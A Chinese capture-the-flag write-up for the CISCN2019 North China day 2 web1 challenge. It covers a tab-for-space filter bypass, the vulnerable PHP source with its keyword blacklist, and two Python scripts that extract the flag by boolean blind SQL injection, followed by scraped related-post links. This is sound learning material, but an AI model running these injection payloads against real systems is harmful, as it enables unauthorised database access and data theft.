比赛结束以后采用非官方复现平台做的题,和比赛题有轻微不同,比赛中存放flag的table是ctf,这里是flag。

题目地址

buuoj.cn

解题过程

题目中只有一个页面,需要提交id。

id为1,2时,可以分别得到一句话。id为0时,显示error,可能是因为结果为空集。

id=1
Hello, glzjin wants a girlfriend.
id=2
Do you want to be my girlfriend?

id提交为单引号返回false,填入空格会直接显示SQL Injection Checked。这说明id除有过滤,空格被过滤了,但是单引号没过滤。

尝试用Tab代替空格,发现可以。

接下来根据题目中的提示构造payload:

1   union    select  flag    from    flag

被过滤了,直接输入一个

1   union

也会被过滤

这说明union也被过滤了。最后测试发现select和from,括号没有被过滤可以考虑使用函数。

有幸找到了这题的源码,在这里放一下,看看究竟过滤了啥。

<?php
$dbuser='root';
$dbpass='root'; function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db); if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){
$result = mysql_fetch_array($query); if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}

接下来就想办法借助函数构造注入就可以了。思路有很多,看过北邮大佬写的延时注入,这里说一下我的思路。

借助substr函数截取flag中的内容,长度依次增加。

用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。

exp

import requests
import time
url = "http://web43.node1.buuoj.cn/index.php"
data = {"id":""}
flag = 'flag{'
length = 5
while True:
#直接从数字开始猜
for i in range(48,127):
#复现平台有waf,一秒只能访问一次
time.sleep(1)
#绕过一些过滤字符
if i in [38,42,43,45,59,96]:
continue
data["id"] = "if(substr((select flag from flag),1,{})='{}',1,2)".format(length+1,flag+chr(i))
r = requests.post(url,data=data)
#返回1
if 'Hello' in r.text:
flag+=chr(i)
length+=1
print(flag)
break
if flag[-1]=='}':
break

这个脚本有点慢,毕竟一个个的猜。如果想快一点,猜的时候可以考虑每次猜一个字符,使用二分法。

下面这段代码稍微改了一下判断的规则,判断ascii码。这样做的好处是如果遇到过滤字符也能得到结果,如果按照最初始的版本,假设flag中包含-,那就gg了。

import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{' i = 6
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2 flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break

最后得到了flag。

ciscn2019华北赛区半决赛day2_web1题解的更多相关文章

  1. ciscn2019华北赛区半决赛day1_web1题解

    感谢buuoj的大佬们搭建的复现环境.作为一位CTF的初学者,我会把每个题目的writeup都写的尽量详细,希望能帮到后面的初学者. http://web42.buuoj.cn 文章会不定时继续完善, ...

  2. ciscn2019华北赛区半决赛day1web5CyberPunk

    刚比赛完的一段时间期末考试云集,没有时间复现题目.趁着假期,争取多复现几道题. 复现平台 buuoj.cn 解题过程 首先进入题目页面 看起来没有什么特别的,就是一个可以提交信息的页面.查看响应报文也 ...

  3. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  4. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  5. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  6. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  7. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  8. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

  9. [CISCN2019 华北赛区 Day1 Web5]CyberPunk

    0x00 知识点 PHP伪协议直接读取源码 http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=inde ...

随机推荐

  1. python 提取目录中特定类型的文件

    python使用‘os’和‘re’模块提取目录中特定类型的文件,这两个模都是安装python自带的,所以不需要安装. 思路: 使用os库lilstdir获取文件夹中的所有文件名,然后带上文件夹路径组合 ...

  2. 使用tmux管理终端的窗口

    教程参考这里: http://louiszhai.github.io/2017/09/30/tmux/

  3. 13.5. zipfile — Work with ZIP archives

    13.5. zipfile — Work with ZIP archives Source code: Lib/zipfile.py The ZIP file format is a common a ...

  4. [daily][archlinux] pacman 安装软件时404的问题

    时常,我们在archlinux上pacman安装一个软件时,会遇见如图这样的问题: “The requested URL returned error: 404”  [classic_tong @ 2 ...

  5. 使用Kerberos进行Hadoop认证

    使用Kerberos进行Hadoop认证 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. Kerberos是一种网络身份验证协议.它旨在通过使用秘密密钥加密为客户端/服务器应用程序提 ...

  6. 分布式结构化存储系统-HBase基本架构

    分布式结构化存储系统-HBase基本架构 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 在大数据领域中,除了直接以文件形式保存数据外,还有大量结构化和半结构化的数据,这类数据通常需 ...

  7. SpringCloud2.0 Zuul 网关路由 基础教程(十)

    1.启动基础工程 1.1.启动[服务注册中心],工程名称:springcloud-eureka-server 参考 SpringCloud2.0 Eureka Server 服务中心 基础教程(二) ...

  8. c++第四次作业

    继承与派生--访问控制 一.知识要点 (一)知识回顾: 基类的成员可以有public.protected.private三种访问属性.基类的自身成员可以对基类中任何一个其他成员进行访问,但是通过基类的 ...

  9. javascript中的var,let,const关键字

    文章:JavaScript 中 var 和 let 和 const 关键字的区别 比较全面的文章.

  10. linux网络编程之socket编程(四)

    经过两周的等待,终于可以回归我正常的学习之旅了,表哥来北京了在我这暂住,晚上回家了基本在和他聊天,周末带他在北京城到处乱转,几乎剥夺了我自由学习的时间了,不过,亲人之情还是很难得的,工作学习并不是生活 ...